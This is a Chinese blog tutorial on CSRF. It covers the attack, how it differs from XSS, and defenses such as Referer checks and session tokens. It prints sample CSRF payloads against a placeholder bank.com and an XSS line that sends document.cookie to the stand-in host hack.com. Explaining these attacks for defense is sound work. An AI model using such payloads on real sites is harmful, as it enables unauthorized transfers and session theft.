CSRF理解与防御

出处:https://www.cnblogs.com/lsdb/p/9591399.html

一、说明

记得以前去面试技术也不太会但你总得讲点东西,让面试时间长一些让面试官觉得你基础还可以,当时选的就是名头比较大的OWASP TOP 10。TOP 10嘛你总得拿出至少三个点来讲的细一些以证明你是真的知道而不是背概念。

纵观TOP 10 注入和XSS是比较有把握的,其他什么“失效的认证和会话管理”、“不安全的对象直接引用”,由于当时没有实际的生产环境攻击和防护经验理解不了其所说的概念和影响,感觉好几个概念感觉意思差不多面试官如果问区别那不肯定讲不清了。权衡之下就要锁定在同是技术问题的CSRF上。

而同时选择XSS和CSRF你就不得不面对解释这两者有何区别的问题。到现在这个问题仍然是web攻防文章和书藉都要谈的问题,用得最多的讲得最清楚的大概是德丸浩《Web应用安全权威指南》那样,七八个箭头箭来箭去,XSS第一步是第二步是而CSRF第一步是第二步是。看的时候觉得挺清楚,看完要自己去说区别做防护还是感觉完全不懂。也因此想来写写自己的理解。

 

二、CSRF定义

CSRF,英文全称Cross Site Request Forgery,中文名跨站请求伪造。OWASP Top 10 2010排A5,OWASP Top 10 2013排A8,OWASP Top 10 2017没排进。

 

三、CSRF利用形式

我们借用OWASP Top 10 2013给出的例子。

首先,用户登录了没有CSRF防护的www.bank.com。该网站有一个转账链接http://www.bank.com/transferFunds?amount=money&destinationAccount=account_id

然后,用户又访问了攻击者发送过来的链接比如叫http://www.hack.com/csrf_attack。该页面具有以下关键代码<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“ width="0" height="0" />

最后,浏览器自动请求src指向的链接http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789,由于请求的是www.bank.com所以浏览器会自动带上www.bank.com的cookie。链接+登录cookie都已具备,www.bank.com并没有其他检查,所以向123456789转账1500块的请求就会被成功响应。

 

四、CSRF与XSS的区别

从漏洞存在的位置上(CSRF存在于所有请求-响应模式的功能上,XSS存在于将用户输入回显前端web页面的位置上),从攻击效果上(CSRF主要是执行网站自身已有功能,XSS主要是用于获取Cookie)都有区别。

但对于初学者最直接的还是利用角度。当时面试说的是CSRF是利用B网站攻击A网站,XSS(反射型)是将A网站的Cookie发到B网站,这理解是没错的。这里再举个例子更具象化地说明:

攻击攻击链接示例说明
CSRF

http://www.hack.com/csrf_page(页面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“)

发送的是hack网站的页面,目标是bank网站页面
XSS

http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>'

发送的是bank网站的页面,目标是hack网站页面

 

 

 

 

 

五、CSRF的防御

从前面CSRF利用形式可以看到,CSRF的关键点是浏览器自动带上了bank的Cookie访问bank的链接,这是浏览器需要的机制应用是无法阻止的。所以CSRF防范的立足点应该是,面对发过来的数据包如何识别是通过本网站点击链接发过来的数据包,还是其他网站发来的数据访问数据包。

5.1 错误的CSRF防御办法

有时我们会想当然地认为某些方法可以防御CSRF,为了避免踩坑,这里先来介绍两种典型的错误防御方式。

5.1.1 使用post方式防御CSRF

在前面使用的CSRF攻击示例中,攻击载荷是<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“ width="0" height="0" />,其他教程为了简单使用的也是get方式的示例,所以是不是如果我的请求限定是form表单post的,那是不是就可以防御CSRF了呢?

答案是否定的。我们完全可以把攻击载荷换成以下post形式的攻击代码:

<body οnlοad="document.forms[0].submit()">
    <form action="http://www.bank.com/transferFunds" method="POST">
        <input type="hidden" name="amount" value="1500">
        <input type="hidden" name="destinationAccount" value="123456789">
    </form>
</body>

 

5.1.2 使用https防御CSRF

https是加密码,攻击者无法修改其内容,网站使用https是否可以防御CSRF呢?

答案也是否定的。认为https有助于防御CSRF是没很好地理解"https=http层+ssl层",https的封装过程是http层内容交给ssl层,ssl层封装完再交给传输层如此下去。CSRF是在http层设置内容,ssl如何防止得了csrf呢。我们攻击载荷改成如下形式也完全可以正确请求(http改成了https):

<body οnlοad="document.forms[0].submit()">
    <form action="https://www.bank.com/transferFunds" method="POST">
        <input type="hidden" name="amount" value="1500">
        <input type="hidden" name="destinationAccount" value="123456789">
    </form>
</body>

 

5.2 正确的CSRF防御办法

5.2.1 Referer头检测法

Referer标识当前请求的来源页面,浏览器访问时除了自动带上Cookie还会自动带上Referer,所以服务端可以检测Referer头是否本网站页面来决定是否响应请求。

Referer是浏览器自动带上的,基于认为浏览器没有相关漏洞的前提下,我们可以认为攻击者是没法伪造Referer头的,也就是检测Referer头的方法是可靠的。

但该方式有时会不受认可,一是因为浏览器是可以设置禁止发送Referer头的,如果使用该方式那么禁止Referer头的浏览将无法正常使用,这可能会降低用户使用体验。二是因为由于移动端的崛起当下流行前后端分离app和web共用一套后端代码,但app是不会自动带Referer头的,如果使用该方式app端不好处理。

 

5.2.2 token检测法

token就是服务端返回给客户端类似sessionid那样一长串的类值(长是为了防暴力猜解)。csrf依赖于浏览器该问链接时自动对应网站的cookie带上,token不放cookie(一般form表单加个hidden属性的input标签来存放)csrf就没法获取token,这样我们就可以通过检测发送过来的数据包中是否有正确的token值来决定是否响应请求。

在讲清token防御的原理后,我们再来讲token的设计,因为token方式给人的感觉很复杂令人望而生畏。

我们首先明确一个问题,就是能够防止csrf攻击的token,并不需要每次请求都不一样,在用户登录后到退出前的这整个过程中的所有请求token完全可以是一样。因为(在基于没有其他漏洞会泄漏本次会话的token的设想下)黑客是无法获取用户的tokne,所以又何必每个请求都要生成一个新的token呢。(token每次请求都要不一样的想法是受防重放攻击的影响)只考滤防csrf不考滤防重放的情况下,token设计就简单多了。

使用sessionid作为token设计:在csrf中cookie是浏览器自己带上的,本质而言用户的sessionid并未丢失(也就是攻击者并不能知道sessionid是多少),基于此我们完全可以不用另传一个值只需直接将sessionid作为token即可(或者也可以做些运算比如取sessionid的某些值做个md5来做为token,意思都差不多)。判断代码类似 if session["id"] == $_POST["token"]

与sessionid同时返回的token设计:在生成sessionid的同时生成一个token(服务端token可以存于session变量中)返回给客户端,客户端保存该token每次请求时都在form表单中提交该值。判断代码类似if session["token"] == $_POST["token"]

 

参考:

德丸浩-《Web应用安全权威指南》

https://www.owasp.org/images/f/f8/OWASP_Top_10_-_2013.pdf

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
摘 要 伴随着人才教学的关注度越来越高,对于人才的培养也是当今社会发展的最为重要的问题之一。为了进一步的进行人才的培养关工作,许多的学校或者是教育的机构逐步的开展了网络信息化的教学和和管理工作,通过信息化的手段和技术实现网络信息化的教育及管理模式,通过网络信息化的手段实现在线答题在线考试和学生信息在线的管理等操作。这样更加的快捷解决了人才培养之中的问题,也在进一步的促进了网络信息化教学方式的快速的发展工作。相较于之前的人才教育和培养工作之中,存在这许多的问题和局限性。在学生信息管理方面通过线下管理的形式进行学生信息的管理工作,在此过程之中存在着一定的局限性和低效性,往往一些突发的问题导致其中工作出现错误。导致相关的教育工作受到了一定的阻碍。在学生信息和学生成绩的管理方面,往常的教育模式之下都是采用的是人工线下的进行管理和整理工作,在这一过程之中存在这一定的不安全和低效性,面对与学生基数的越来越大,学生的信息管理也在面领着巨大的挑战,管理人员面领着巨大的学生信息的信息量,运用之前的信息管理方式往往会在统计和登记上出现错误的情况的产生,为后续的管理工作造成了一定的困难。然而通过信息化的管理方式进行对学生信息的管理不仅可以避免这些错误情况的产生还可以进一步的简化学生信息管理工作的流程,节约了大量的人力和物力的之处。在线答题系统的实现不仅给学生的信息管理工作和在线考试带来了方便也进一步的促进了教育事业信息化的发展,从而实现高效化的教学工作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值